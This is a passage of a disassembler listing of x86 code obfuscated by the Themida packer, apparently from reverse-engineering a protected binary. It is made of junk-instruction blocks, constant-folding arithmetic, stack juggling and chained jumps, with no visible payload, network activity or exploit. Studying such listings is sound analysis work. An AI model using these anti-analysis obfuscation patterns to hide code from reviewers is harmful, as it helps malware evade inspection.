xor ecx, 0A8905BA8h
sub ebx, 65A16606h
sub ebx, ecx
jmp loc_56492E
; ---------------------------------------------------------------------------
loc_56E107: ; CODE XREF: sub_562ABA+BA42j
inc esi
xor esi, 0B689CD08h
add edi, 6F7043F1h
jmp loc_56369A
; ---------------------------------------------------------------------------
loc_56E119: ; CODE XREF: sub_562ABA+5F7Cj
mov esi, [esp+1Eh+var_1E]
jmp loc_55F5E9
; ---------------------------------------------------------------------------
loc_56E121: ; CODE XREF: sub_562ABA-39CCj
push eax
mov eax, 0B6A013Fh
sub ebx, eax
push dword ptr [esp+0]
pop eax
add esp, 4
shl ebx, 3
push 272Ah
mov [esp+0], ebx
mov ebx, esp
add ebx, 4
push ecx
push esi
push 29201E85h
pop esi
shl esi, 2
dec esi
add esi, 76A3BC67h
jmp loc_56E444
; ---------------------------------------------------------------------------
loc_56E15D: ; CODE XREF: sub_562ABA+3BD8j
push ebx
jmp loc_571F4F
; ---------------------------------------------------------------------------
loc_56E163: ; CODE XREF: sub_562ABA+4A3Cj
sub ecx, eax
jmp loc_56E474
; ---------------------------------------------------------------------------
loc_56E16A: ; DATA XREF: Themida_:0055DDF8o
push [esp+22h+var_22]
push [esp+26h+var_28+2]
jmp loc_5608E5
; ---------------------------------------------------------------------------
loc_56E175: ; CODE XREF: sub_562ABA+14EBj
add esp, 4
sub esp, 4
mov [esp+50h+var_52+2], edx
jmp loc_56BA90
; ---------------------------------------------------------------------------
loc_56E189: ; CODE XREF: sub_562ABA+6F1Ej
push ecx
push 7549555Dh
pop ecx
push esi
mov esi, 4DB63EC8h
jmp loc_567F3E
; ---------------------------------------------------------------------------
loc_56E19B: ; CODE XREF: sub_562ABA+6BA4j
mov ebx, esp
push esi
mov esi, 3901567Ah
dec esi
or esi, 6590FB2h
push edi
mov edi, 1
sub esi, edi
pop edi
push eax
mov eax, 0FFFFFFFFh
sub esi, eax
pop eax
shl esi, 1
push ebp
push eax
push 238A6125h
pop eax
push 0
sub [esp+26h+var_28+2], eax
pop eax
jmp loc_55E73D
; ---------------------------------------------------------------------------
loc_56E1D4: ; CODE XREF: sub_562ABA+E916j
add esp, 4
push eax
push [esp+22h+var_1E]
pop eax
pop [esp+22h+var_22]
pop esp
btc word ptr [esp+1Ah+var_1A], ax
pushf
jmp loc_568EB5
; ---------------------------------------------------------------------------
loc_56E1EF: ; CODE XREF: sub_562ABA+4715j
xor ebp, 0E2E424h
mov ebx, ebp
pop ebp
sub ebp, 73C53402h
add ebp, ebx
add ebp, 73C53402h
pop ebx
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
jmp loc_569E84
; ---------------------------------------------------------------------------
loc_56E215: ; CODE XREF: sub_5620A9+6j
add eax, ebp
mov ebp, [esp+0]
jmp loc_56ADED
; ---------------------------------------------------------------------------
loc_56E21F: ; CODE XREF: sub_55F660+2j
mov ecx, 6EB33B78h
mov ebp, 11EFE13h
jmp loc_567502
; ---------------------------------------------------------------------------
loc_56E22E: ; CODE XREF: sub_562ABA+C989j
add dl, ah
mov ax, [esp+0]
add esp, 2
add al, 97h
sub al, 0DDh
jmp loc_56A861
; ---------------------------------------------------------------------------
loc_56E240: ; CODE XREF: sub_562ABA+35CFj
mov ebp, [esp+0Ah+var_C+2]
add esp, 4
add esi, ecx
pop ecx
push 325h
mov [esp+6+var_8+2], esi
push [esp+6+var_4+2]
pop esi
pop [esp+6+var_8+2]
mov esp, [esp+2+var_4+2]
sar word ptr [esp+2+var_4+2], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
mov ecx, [esp+6+var_8+2]
push 3654h
mov [esp+0Ah+var_C+2], ebp
jmp loc_568EF8
; ---------------------------------------------------------------------------
loc_56E276: ; CODE XREF: sub_562ABA+8AF1j
mov edi, 4
add ecx, edi
pop edi
xchg ecx, [esp+1Eh+var_1E]
jmp loc_55FC94
; ---------------------------------------------------------------------------
loc_56E286: ; CODE XREF: sub_562ABA+45D5j
xor ch, 37h
or dl, ch
pop ecx
push ecx
sub esp, 4
mov [esp+8+var_8], edx
mov dl, 1
not dl
dec dl
jmp loc_56CAD4
; ---------------------------------------------------------------------------
push [esp+8+var_8]
push [esp+0Ch+var_C]
push [esp+10h+var_12+2]
mov eax, [esp+14h+var_16+2]
jmp loc_566FE4
; ---------------------------------------------------------------------------
loc_56E2AF: ; CODE XREF: sub_562ABA+8750j
sub ecx, 0E7A3D050h
jmp loc_57030D
; ---------------------------------------------------------------------------
loc_56E2BA: ; DATA XREF: Themida_:0055DDDCo
push dword ptr [edi+3Ch]
push 3266h
jmp loc_563ACF
; ---------------------------------------------------------------------------
loc_56E2C7: ; CODE XREF: sub_562ABA-6EDj
push ax
mov al, 56h
xor bh, al
jmp loc_5704EC
; ---------------------------------------------------------------------------
loc_56E2D2: ; CODE XREF: sub_562ABA-2D5j
mov eax, [esp+16h+var_16]
add esp, 4
push esi
jmp loc_567953
; ---------------------------------------------------------------------------
loc_56E2DE: ; CODE XREF: sub_562ABA+6BCDj
shr eax, 10h
xor eax, ecx
jmp loc_56BE22
; ---------------------------------------------------------------------------
loc_56E2E8: ; CODE XREF: sub_562ABA+A0D0j
pop edx
push eax
push ebp
push edi
jmp loc_567F8E
; ---------------------------------------------------------------------------
loc_56E2F1: ; CODE XREF: sub_562ABA+B852j
push eax
push ebp
mov ebp, 9C42CD3h
mov eax, 5CFA4ADDh
add eax, ebp
mov ebp, [esp+3Eh+var_3E]
jmp loc_569D8A
; ---------------------------------------------------------------------------
loc_56E307: ; CODE XREF: sub_562ABA-EB5j
mov eax, 0B07AF095h
jmp loc_56E2F1
; ---------------------------------------------------------------------------
loc_56E311: ; CODE XREF: sub_562ABA+E507j
mov ah, 51h
sub bl, ah
pop ax
jmp loc_571F88
; ---------------------------------------------------------------------------
loc_56E31C: ; CODE XREF: sub_562ABA+F9CDj
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56E321: ; CODE XREF: sub_562ABA+BEF3j
push esi
jmp loc_5692D9
; ---------------------------------------------------------------------------
loc_56E327: ; CODE XREF: sub_55FCA5+D0j
shl edx, 1
push ecx
jmp loc_56D6A5
; ---------------------------------------------------------------------------
loc_56E32F: ; CODE XREF: sub_55FCA5+39Fj
mov edx, 6528E88Ah
jmp loc_565F44
; ---------------------------------------------------------------------------
loc_56E339: ; CODE XREF: sub_562ABA+B961j
xor ebp, [esp+22h+var_22]
jmp loc_569889
; ---------------------------------------------------------------------------
loc_56E341: ; CODE XREF: sub_562ABA+33B7j
push [esp+16h+var_12]
pop edi
jmp loc_56F945
; ---------------------------------------------------------------------------
loc_56E34B: ; CODE XREF: sub_562ABA+3978j
add esp, 4
mov ebp, edi
pop edi
and [edi+1Ch], ebp
push [esp+26h+var_28+2]
pop ebp
add esp, 4
jmp loc_55FAD2
; ---------------------------------------------------------------------------
loc_56E360: ; CODE XREF: sub_562ABA-2860j
pop ecx
jmp loc_56790E
; ---------------------------------------------------------------------------
loc_56E366: ; CODE XREF: sub_562ABA-10ACj
pop edi
add edi, 4
add edi, 4
jmp loc_55F02B
; ---------------------------------------------------------------------------
loc_56E378: ; CODE XREF: sub_562ABA+39BAj
mov edx, esp
add edx, 4
push 0D2Dh
mov [esp+3Ah+var_3A], ecx
push 12A0h
mov [esp+3Eh+var_3E], ebp
mov ebp, 3A1A3259h
sub ebp, 1
jmp loc_56411D
; ---------------------------------------------------------------------------
loc_56E39D: ; CODE XREF: sub_562ABA-2027j
push 0BFF2041h
pop eax
xor eax, 0F494D36Fh
jmp loc_57052E
; ---------------------------------------------------------------------------
loc_56E3AD: ; CODE XREF: sub_562ABA+EC25j
push ecx
mov ecx, esp
add ecx, 4
push edx
jmp loc_56FFC9
; ---------------------------------------------------------------------------
loc_56E3BC: ; CODE XREF: sub_562ABA+80E6j
pop ebx
add esi, 50521070h
dec esi
dec esi
push eax
jmp loc_56A095
; ---------------------------------------------------------------------------
loc_56E3CB: ; CODE XREF: sub_562ABA+8BA2j
shr edx, 4
jmp loc_569287
; ---------------------------------------------------------------------------
loc_56E3D3: ; CODE XREF: sub_562ABA+C1C8j
inc edi
jmp loc_57116A
; ---------------------------------------------------------------------------
loc_56E3D9: ; CODE XREF: sub_562ABA+C60Fj
pop eax
sub esp, 4
mov [esp+22h+var_22], eax
push 48EDh
mov [esp+26h+var_28+2], edi
mov edi, 7C792CB3h
push 2026h
jmp loc_56C241
; ---------------------------------------------------------------------------
loc_56E3FA: ; CODE XREF: sub_562ABA+1EFAj
movzx cx, al
push cx
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56E406: ; CODE XREF: sub_562ABA+5E94j
add eax, edi
pop edi
not eax
and eax, 66D54DD9h
jmp loc_56A731
; ---------------------------------------------------------------------------
loc_56E415: ; CODE XREF: sub_562ABA+D5A8j
xor ebp, [esp+0Ah+var_C+2]
xor [esp+0Ah+var_C+2], ebp
jmp loc_56E339
; ---------------------------------------------------------------------------
loc_56E420: ; CODE XREF: sub_562ABA+92DFj
pop esi
add esp, 4
add ebx, 4
xor ebx, [esp+32h+var_32]
xor [esp+32h+var_32], ebx
xor ebx, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
jmp loc_5665D4
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+32h+var_32]
push edx
mov edx, esp
jmp loc_56E70B
; ---------------------------------------------------------------------------
loc_56E444: ; CODE XREF: sub_562ABA+B69Ej
mov ecx, esi
jmp loc_56BC3B
; ---------------------------------------------------------------------------
loc_56E44B: ; CODE XREF: sub_562ABA+99A0j
mov edx, 36324FCAh
jmp loc_560593
; ---------------------------------------------------------------------------
loc_56E455: ; CODE XREF: sub_562ABA+D6Fj
mov [edx+38h], ebp
push [esp-10h+arg_C]
pop ebp
add esp, 4
loc_56E462: ; CODE XREF: sub_562ABA+2A77j
push 51F5h
mov [esp-10h+arg_C], ebp
mov ebp, 7DD115B4h
jmp loc_569E9B
; ---------------------------------------------------------------------------
loc_56E474: ; CODE XREF: sub_562ABA+B6ABj
pop eax
sub ecx, 4C560553h
xor ecx, 7B699079h
jmp loc_56887E
; ---------------------------------------------------------------------------
loc_56E486: ; CODE XREF: sub_562ABA+D653j
sub esp, 4
mov [esp+22h+var_22], edi
jmp loc_5676D8
; ---------------------------------------------------------------------------
loc_56E491: ; CODE XREF: sub_562ABA+10C5j
pop ecx
xchg edx, [esp+46h+var_46]
jmp loc_564AD2
; ---------------------------------------------------------------------------
loc_56E49A: ; CODE XREF: sub_562ABA+F43Aj
mov esi, 51E47D27h
jmp loc_5657E6
; ---------------------------------------------------------------------------
loc_56E4A4: ; CODE XREF: sub_562ABA+8D8Cj
add ecx, 4
jmp loc_5645BF
; ---------------------------------------------------------------------------
loc_56E4AF: ; CODE XREF: sub_562ABA-A16j
sub eax, ebx
pop ebx
add eax, 53C9494Bh
mov ebp, [esp+0Ah+var_C+2]
add esp, 4
push small word ptr [eax]
jmp loc_572256
; ---------------------------------------------------------------------------
loc_56E4C8: ; CODE XREF: sub_562ABA+34DAj
mov [esp+1Ah+var_1A], ebx
jmp loc_567E8F
; ---------------------------------------------------------------------------
loc_56E4D0: ; CODE XREF: sub_562ABA+56C9j
shl ebx, 7
sub ebx, 43D1DDD7h
sub eax, ebx
jmp loc_5699C1
; ---------------------------------------------------------------------------
loc_56E4E0: ; CODE XREF: sub_562ABA+3765j
add al, 0AEh
pop bx
pop ecx
jmp loc_55FF8E
; ---------------------------------------------------------------------------
loc_56E4EA: ; CODE XREF: sub_562ABA+957Dj
mov esi, edi
pop edi
and esi, 6FC47E0Dh
push edx
mov edx, 36B91EC6h
or esi, edx
pop edx
jmp loc_56E107
; ---------------------------------------------------------------------------
loc_56E501: ; CODE XREF: sub_562ABA+95E9j
shl edx, 5
add edx, 1
push esi
jmp loc_56ABA5
; ---------------------------------------------------------------------------
loc_56E510: ; CODE XREF: sub_562ABA+2DC4j
add esp, 4
add ecx, ebx
push [esp-10h+arg_C]
pop ebx
jmp loc_56FAA7
; ---------------------------------------------------------------------------
loc_56E51E: ; CODE XREF: sub_562ABA-967j
push 62007790h
mov edi, [esp+16h+var_16]
add esp, 4
jmp loc_56F16E
; ---------------------------------------------------------------------------
loc_56E52E: ; CODE XREF: sub_562ABA+51BBj
mov [esp+46h+var_46], eax
push edx
jmp loc_566425
; ---------------------------------------------------------------------------
loc_56E537: ; CODE XREF: sub_562ABA+58F0j
pop esp
pop [esp+26h+var_28+2]
not ebp
push 72EBh
mov [esp+26h+var_28+2], ebp
push [esp+26h+var_22]
push [esp+2Ah+var_2C+2]
pop ebp
add esp, 4
pop [esp+26h+var_28+2]
push [esp+22h+var_22]
pop eax
push eax
push esp
mov eax, [esp+2Ah+var_2C+2]
jmp loc_571811
; ---------------------------------------------------------------------------
loc_56E561: ; CODE XREF: sub_562ABA+B626j
add ebp, edi
add ebp, 3BAD527Ah
pop edi
jmp loc_56676E
; ---------------------------------------------------------------------------
loc_56E56F: ; CODE XREF: sub_562ABA+ABB3j
add eax, ebx
pop ebx
add eax, 0FAB5F682h
jmp loc_56F836
; ---------------------------------------------------------------------------
loc_56E57C: ; CODE XREF: sub_562ABA-3A5Dj
pop edx
jmp loc_564CB7
; ---------------------------------------------------------------------------
loc_56E582: ; CODE XREF: sub_562ABA+94AFj
mov [esp+1Eh+var_1E], edi
mov edi, 2
jmp loc_5634C0
; ---------------------------------------------------------------------------
loc_56E58F: ; CODE XREF: sub_562ABA+766Aj
pop edx
pop dword ptr [edx+30h]
jmp loc_55E335
; ---------------------------------------------------------------------------
loc_56E598: ; CODE XREF: sub_562ABA-228Fj
mov [esp+3Ah+var_3A], ebx
mov ebx, 64D0243Dh
and edi, ebx
jmp loc_560D1F
; ---------------------------------------------------------------------------
loc_56E5A7: ; CODE XREF: sub_562ABA+F5BFj
mov ah, 5Ah
mov cl, ah
pop eax
mov dh, 0F3h
add dh, cl
push [esp+36h+var_36]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp+3Ah+var_3A]
xor [esp+3Ah+var_3A], ecx
xor ecx, [esp+3Ah+var_3A]
mov esp, [esp+3Ah+var_3A]
xor ah, dh
jmp loc_56F014
; ---------------------------------------------------------------------------
loc_56E5D6: ; CODE XREF: Themida_:00560831j
add al, 93h
add al, 11h
add al, bl
sub al, 11h
sub esp, 4
mov [esp+3Eh+var_3E], ecx
mov ch, 6Ah
add ch, 0FFh
xchg dl, ch
not dl
xchg dl, ch
jmp loc_56DA0E
; ---------------------------------------------------------------------------
loc_56E5F4: ; CODE XREF: sub_562ABA+7749j
add esp, 4
add esp, 4
push esi
push [esp+24h+var_22+2]
push [esp+28h+var_28]
pop esi
add esp, 4
pop dword ptr [esp+0]
jmp loc_5609AD
; ---------------------------------------------------------------------------
loc_56E614: ; CODE XREF: sub_562ABA+3B3j
not ecx
add ecx, 11F24A22h
mov edx, ecx
pop ecx
add edx, 0FFFFFFFFh
dec edx
add edx, 0E82FDD65h
jmp loc_565C1C
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 4EC8324h, 68240489h, 9F0h, 0FF0947E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56E645: ; CODE XREF: sub_562ABA-4710j
xchg ebx, esi
not ebx
xchg ebx, esi
push edi
mov edi, 4A1C423Ah
jmp loc_56C4D5
; ---------------------------------------------------------------------------
loc_56E656: ; CODE XREF: sub_562ABA+CC82j
xchg edx, [esp+0]
jmp loc_56AE31
; ---------------------------------------------------------------------------
loc_56E65E: ; CODE XREF: sub_562ABA-3F6Bj
sub ebp, 286210BDh
push ecx
mov ecx, 7EBF1BAEh
sub ecx, 157B228h
add edi, ecx
pop ecx
jmp loc_56C81D
; ---------------------------------------------------------------------------
loc_56E678: ; CODE XREF: sub_562ABA-12FFj
mov dl, ah
jmp loc_56D7E1
; ---------------------------------------------------------------------------
loc_56E67F: ; CODE XREF: sub_562ABA+7030j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+3Eh+var_3E]
pop esp
sub esp, 4
mov [esp+3Eh+var_3E], ebp
push esp
pop ebp
jmp loc_5632E3
; ---------------------------------------------------------------------------
loc_56E69B: ; CODE XREF: sub_562ABA+AA57j
push edx
push esi
mov esi, 68391DC0h
jmp loc_56ACE0
; ---------------------------------------------------------------------------
loc_56E6A7: ; CODE XREF: sub_562ABA+DE31j
mov esp, [esp+2Ah+var_2C+2]
mov [esp+2Ah+var_2C+2], edi
mov edi, esp
sub esp, 4
mov [esp+0], esi
push edi
mov edi, 400B7537h
mov esi, 2030F79h
xor esi, edi
mov edi, [esp+32h+var_32]
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push [esp+3Ah+var_36]
jmp loc_56F52B
; ---------------------------------------------------------------------------
loc_56E6DE: ; CODE XREF: sub_562ABA+4DCj
mov eax, ebp
pop ebp
sub eax, 1
jmp loc_56698D
; ---------------------------------------------------------------------------
loc_56E6EB: ; CODE XREF: sub_562ABA+5577j
add esp, 4
pop dword ptr [esp+0]
mov esp, [esp+0Ah+var_C+2]
test ecx, eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56E6FC: ; CODE XREF: sub_562ABA+F60Ej
pop edx
xchg esi, [esp+0Ah+var_C+2]
pop esp
xor bl, al
movzx eax, al
jmp loc_56F24E
; ---------------------------------------------------------------------------
loc_56E70B: ; CODE XREF: sub_562ABA+B985j
add edx, 4
push eax
jmp loc_570459
; ---------------------------------------------------------------------------
loc_56E717: ; CODE XREF: sub_562ABA-4077j
pop edx
not edx
jmp loc_56A792
; ---------------------------------------------------------------------------
loc_56E71F: ; CODE XREF: sub_562ABA+31B4j
and ebx, 2F4B45E9h
and ebx, 1BEE0192h
sub ebx, 0FFFFFFFFh
not ebx
jmp loc_56FCEA
; ---------------------------------------------------------------------------
loc_56E735: ; CODE XREF: sub_562ABA+A2F3j
push eax
jmp loc_5663C4
; ---------------------------------------------------------------------------
loc_56E73B: ; CODE XREF: sub_562ABA-2833j
add edx, esi
mov esi, [esp+0]
jmp loc_56F971
; ---------------------------------------------------------------------------
loc_56E745: ; CODE XREF: sub_562ABA+2E3Ej
mov ecx, 969344F6h
sub esi, 679C4622h
sub esi, 55637392h
add esi, ecx
add esi, 55637392h
add esi, 679C4622h
pop ecx
add ebp, esi
pop esi
add ebp, ebx
sub ebp, 3D187776h
push [esp+36h+var_36]
jmp loc_571DC6
; ---------------------------------------------------------------------------
loc_56E778: ; CODE XREF: sub_562ABA-27ACj
pop eax
retn
; ---------------------------------------------------------------------------
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56E77F: ; CODE XREF: sub_562ABA+9EDj
push 2B10h
mov [esp+12h+var_12], ebx
mov ebx, 39C3566Eh
jmp loc_568894
; ---------------------------------------------------------------------------
loc_56E791: ; CODE XREF: sub_562ABA+5351j
add esi, 4556CE5Eh
mov ecx, esi
jmp loc_5628BC
; ---------------------------------------------------------------------------
loc_56E79E: ; CODE XREF: sub_562ABA+D4E0j
pop edx
add eax, ebp
mov ebp, [esp+3Ch+var_3E+2]
add esp, 4
xor eax, 0CA167A59h
push eax
pop ecx
pop eax
sub esp, 4
mov [esp+38h+var_3A+2], edi
mov edi, 7F886E69h
jmp loc_55E965
; ---------------------------------------------------------------------------
loc_56E7C5: ; CODE XREF: sub_562ABA+7A51j
pop ebx
sub edx, 7E2A5C07h
add edx, 6FC0735Eh
add edx, edi
sub edx, 6FC0735Eh
jmp loc_570191
; ---------------------------------------------------------------------------
loc_56E7DF: ; CODE XREF: sub_562ABA+AF4Fj
push ebx
mov bh, cl
jmp loc_561009
; ---------------------------------------------------------------------------
loc_56E7E7: ; CODE XREF: sub_562ABA-3A94j
mov [esp+0Ah+var_C+2], esi
push esp
push dword ptr [esp+0]
mov esi, [esp+12h+var_12]
add esp, 4
push 3503h
jmp loc_571728
; ---------------------------------------------------------------------------
loc_56E7FE: ; CODE XREF: sub_562ABA-FA0j
mov ecx, 0AAC231BDh
sub eax, ecx
pop ecx
sub esi, eax
pop eax
add esi, eax
push 212Bh
mov [esp+0], eax
push 35F9h
mov [esp+12h+var_12], ebp
push 17872477h
pop ebp
add ebp, 1
add ebp, 81A2DB1h
shr ebp, 8
jmp loc_56BCEC
; ---------------------------------------------------------------------------
loc_56E835: ; CODE XREF: sub_562ABA-349Fj
mov ebx, [esp+6+var_8+2]
add esp, 4
jmp loc_5670BF
; ---------------------------------------------------------------------------
loc_56E840: ; CODE XREF: sub_562ABA+3301j
shl ebp, 8
xor ebp, 982FE666h
jmp loc_55F360
; ---------------------------------------------------------------------------
loc_56E84E: ; CODE XREF: sub_562ABA+BFB0j
pop esp
pop esi
push 2CB5h
mov [esp-0Ch+arg_8], edi
push eax
mov eax, 420F1376h
jmp loc_56833D
; ---------------------------------------------------------------------------
loc_56E863: ; CODE XREF: sub_562ABA+E5CCj
mov edi, [esp-8+arg_4]
push edx
mov edx, esp
add edx, 4
push eax
push ebx
push 684259D1h
pop ebx
not ebx
not ebx
or ebx, 4EAF7974h
xor ebx, 6EEF79F1h
mov eax, ebx
pop ebx
jmp loc_56BE0B
; ---------------------------------------------------------------------------
loc_56E88F: ; CODE XREF: sub_562ABA-33F5j
xor edx, 0DE26B35h
sub ebx, 34F32C6Fh
add ebx, edx
add ebx, 34F32C6Fh
mov edx, [esp+6+var_8+2]
add esp, 4
xchg ebx, [esp+2+var_4+2]
mov esp, [esp+2+var_4+2]
push 1436h
jmp loc_55FCAD
; ---------------------------------------------------------------------------
loc_56E8BC: ; CODE XREF: sub_562ABA+8937j
mov ebx, 3E576417h
sub esi, ebx
jmp loc_561CCD
; ---------------------------------------------------------------------------
loc_56E8C8: ; CODE XREF: sub_562ABA+A30Fj
add esp, 4
push edx
push ecx
mov cl, 2Fh
push 278Ah
mov [esp+22h+var_22], ecx
mov ch, 3Ch
sub ch, 68h
dec ch
shl ch, 7
add ch, 0B7h
neg ch
jmp loc_567F45
; ---------------------------------------------------------------------------
loc_56E8EB: ; CODE XREF: sub_562ABA+FD63j
push ebp
push [esp+26h+var_22]
pop ebp
jmp loc_570450
; ---------------------------------------------------------------------------
loc_56E8F6: ; CODE XREF: sub_562ABA+84F0j
push esp
pop ecx
push esi
mov esi, 18B40163h
or esi, 2EEC75A6h
add esi, 2261068h
inc esi
jmp loc_56614F
; ---------------------------------------------------------------------------
loc_56E910: ; CODE XREF: sub_562ABA+6Fj
pop edx
push 47F5h
mov [esp+1Ah+var_1A], ebp
mov ebp, 4
add edx, ebp
pop ebp
push 1F4Ch
jmp loc_562642
; ---------------------------------------------------------------------------
loc_56E92B: ; CODE XREF: sub_562ABA+5BBj
pop esp
jmp loc_5608DD
; ---------------------------------------------------------------------------
loc_56E931: ; CODE XREF: sub_562ABA+86D9j
not edx
jmp loc_563DB9
; ---------------------------------------------------------------------------
loc_56E938: ; CODE XREF: sub_562ABA-4B4j
pop ebx
xor dl, cl
pop ecx
dec dl
shl dl, 6
shl dl, 3
jmp loc_56085F
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
jmp loc_563264
; ---------------------------------------------------------------------------
loc_56E953: ; CODE XREF: sub_562ABA+31A4j
xor esi, edx
pop edx
push esi
jmp loc_571605
; ---------------------------------------------------------------------------
loc_56E95C: ; CODE XREF: sub_562ABA+54EDj
add edi, 2A1D1B17h
push edi
add dword ptr [esp+0], 5A467575h
pop ebp
sub ebp, 5A467575h
mov edi, [esp+0Ah+var_C+2]
add esp, 4
push ebx
mov ebx, 5B88179Fh
jmp loc_56902A
; ---------------------------------------------------------------------------
loc_56E982: ; CODE XREF: sub_562ABA+DFE8j
push eax
push [esp+0Eh+var_C+2]
pop eax
pop dword ptr [esp+0]
mov esp, [esp+0Ah+var_C+2]
push ebp
push esp
mov ebp, [esp+12h+var_12]
jmp loc_56C05B
; ---------------------------------------------------------------------------
loc_56E998: ; CODE XREF: sub_562ABA+A1E0j
xor ecx, 58F11893h
add eax, 5D7C4B6Ch
add eax, ecx
sub eax, 5D7C4B6Ch
pop ecx
shl eax, 1
jmp loc_56E321
; ---------------------------------------------------------------------------
loc_56E9B2: ; CODE XREF: sub_562ABA-3ACBj
pop ecx
push edx
push [esp+0Ah+var_8+2]
mov edx, [esp+0]
add esp, 4
pop [esp+0Ah+var_C+2]
jmp loc_56552E
; ---------------------------------------------------------------------------
loc_56E9C9: ; CODE XREF: sub_562ABA+200Bj
mov [esp+22h+var_22], edi
jmp loc_57176F
; ---------------------------------------------------------------------------
loc_56E9D1: ; CODE XREF: sub_562ABA-369Cj
xor ecx, 8A0C045h
add ebx, ecx
mov ecx, [esp+22h+var_22]
add esp, 4
add ebx, 2
xchg ebx, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
jmp loc_570A8E
; ---------------------------------------------------------------------------
loc_56E9F0: ; CODE XREF: sub_562ABA+9680j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+26h+var_28+2]
pop esp
jmp loc_56476D
; ---------------------------------------------------------------------------
loc_56EA05: ; CODE XREF: sub_562ABA+B44Aj
push 7504h
mov [esp+0], edx
mov edx, 431E60A0h
add [esp+2Eh+var_2C+2], edx
mov edx, [esp+0]
add esp, 4
mov ecx, [esp+2Ah+var_2C+2]
jmp loc_562CB4
; ---------------------------------------------------------------------------
loc_56EA27: ; CODE XREF: sub_562ABA+6182j
not edi
xor edi, ebp
xor ebp, edi
xor edi, ebp
not ebp
push edi
push ebp
jmp loc_56C517
; ---------------------------------------------------------------------------
loc_56EA38: ; CODE XREF: sub_562ABA+8A05j
mov edx, 15C46014h
push ebp
jmp loc_56AEA6
; ---------------------------------------------------------------------------
loc_56EA43: ; CODE XREF: sub_562ABA-27D1j
push edx
mov edx, eax
mov ebp, edx
pop edx
mov eax, [esp+12h+var_12]
push eax
mov eax, esp
push edx
mov edx, 2B824DE9h
add edx, 174E1ADDh
sub edx, 42D068C2h
add eax, edx
pop edx
add eax, 4
xchg eax, [esp+16h+var_16]
jmp loc_56E84E
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+16h+var_16]
push edi
sub esp, 4
push esp
pop [esp+22h+var_22]
push edi
mov edi, 4
add [esp+22h+var_1E], edi
pop edi
push [esp+1Eh+var_1E]
jmp loc_55ECE0
; ---------------------------------------------------------------------------
loc_56EA91: ; CODE XREF: sub_562ABA+4600j
mov dh, 0BFh
mov cl, 0FBh
xor cl, dh
mov edx, [esp+3Eh+var_3E]
add esp, 4
mov dl, 87h
jmp loc_56BA6F
; ---------------------------------------------------------------------------
loc_56EAA4: ; CODE XREF: sub_562ABA+32B9j
sub esp, 4
mov [esp-8+arg_4], edi
mov edi, 72B500B4h
push esi
jmp loc_569782
; ---------------------------------------------------------------------------
loc_56EAB5: ; CODE XREF: sub_562ABA+FF0Aj
add edi, 0D92C49h
pop ebx
sub esp, 4
mov [esp-4+arg_0], ebx
mov ebx, 5B2B15D2h
xor ebx, 44E248FDh
xor ebx, 57B915F9h
dec ebx
not ebx
add ebx, 0A39F4E57h
add edx, ebx
mov ebx, [esp-4+arg_0]
jmp loc_569FD6
; ---------------------------------------------------------------------------
loc_56EAE6: ; CODE XREF: sub_562ABA+F4C9j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
pop esp
pop [esp-4+arg_0]
jmp loc_5679B1
; ---------------------------------------------------------------------------
loc_56EB01: ; CODE XREF: sub_562ABA-3BB6j
xor edx, edi
xor edi, edx
jmp loc_568BED
; ---------------------------------------------------------------------------
loc_56EB0A: ; CODE XREF: sub_562ABA+FF2Dj
mov edx, 4
mov ebp, edx
jmp loc_572686
; ---------------------------------------------------------------------------
loc_56EB16: ; CODE XREF: sub_562ABA+4F80j
xchg ebp, [esp-6+arg_0+2]
jmp loc_571A94
; ---------------------------------------------------------------------------
loc_56EB1E: ; CODE XREF: sub_562ABA+8887j
pop esi
add esi, 4
push ecx
mov ecx, 2
sub esi, ecx
pop ecx
xchg esi, [esp+0]
mov esp, [esp+0]
jmp loc_565E4C
; ---------------------------------------------------------------------------
loc_56EB39: ; CODE XREF: sub_562ABA+17E5j
mov [esp+16h+var_16], ebx
mov ebx, 4
add eax, ebx
push [esp+16h+var_16]
jmp loc_56A157
; ---------------------------------------------------------------------------
loc_56EB4B: ; CODE XREF: sub_562ABA-195j
pop ecx
jmp loc_568942
; ---------------------------------------------------------------------------
loc_56EB51: ; CODE XREF: sub_562ABA-49Cj
add esp, 4
push 482Ah
mov [esp+1Eh+var_1E], edx
mov dh, 0A8h
xor bl, dh
jmp loc_563AB4
; ---------------------------------------------------------------------------
loc_56EB65: ; CODE XREF: sub_562ABA+1F73j
xor ebx, [esp-10h+arg_C]
xor [esp-10h+arg_C], ebx
xor ebx, [esp-10h+arg_C]
jmp loc_56C47C
; ---------------------------------------------------------------------------
loc_56EB73: ; CODE XREF: sub_562ABA+ABE6j
mov ch, 2Fh
xor ch, bl
pop ebx
jmp loc_56EEFC
; ---------------------------------------------------------------------------
loc_56EB7D: ; CODE XREF: sub_562ABA+95C8j
push edx
mov edx, 68966F56h
sub ecx, edx
pop edx
pop esi
xchg ecx, [esp+12h+var_12]
mov esp, [esp+12h+var_12]
push 3A7h
mov [esp+16h+var_16], ebp
mov ebp, 574704F4h
shr ebp, 5
push eax
mov eax, 1A8C160Ah
add eax, 65D31CF8h
xor eax, 449B2BF4h
add eax, 7A7234EAh
sub ebp, eax
pop eax
push ebx
push 7F5E01D4h
pop ebx
add ebx, 782651EDh
jmp loc_55E9BF
; ---------------------------------------------------------------------------
loc_56EBC7: ; CODE XREF: sub_562ABA-40CAj
xor esi, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
sub esp, 4
mov [esp+1Eh+var_1E], edi
mov edi, 4000h
and eax, edi
jmp loc_56B38E
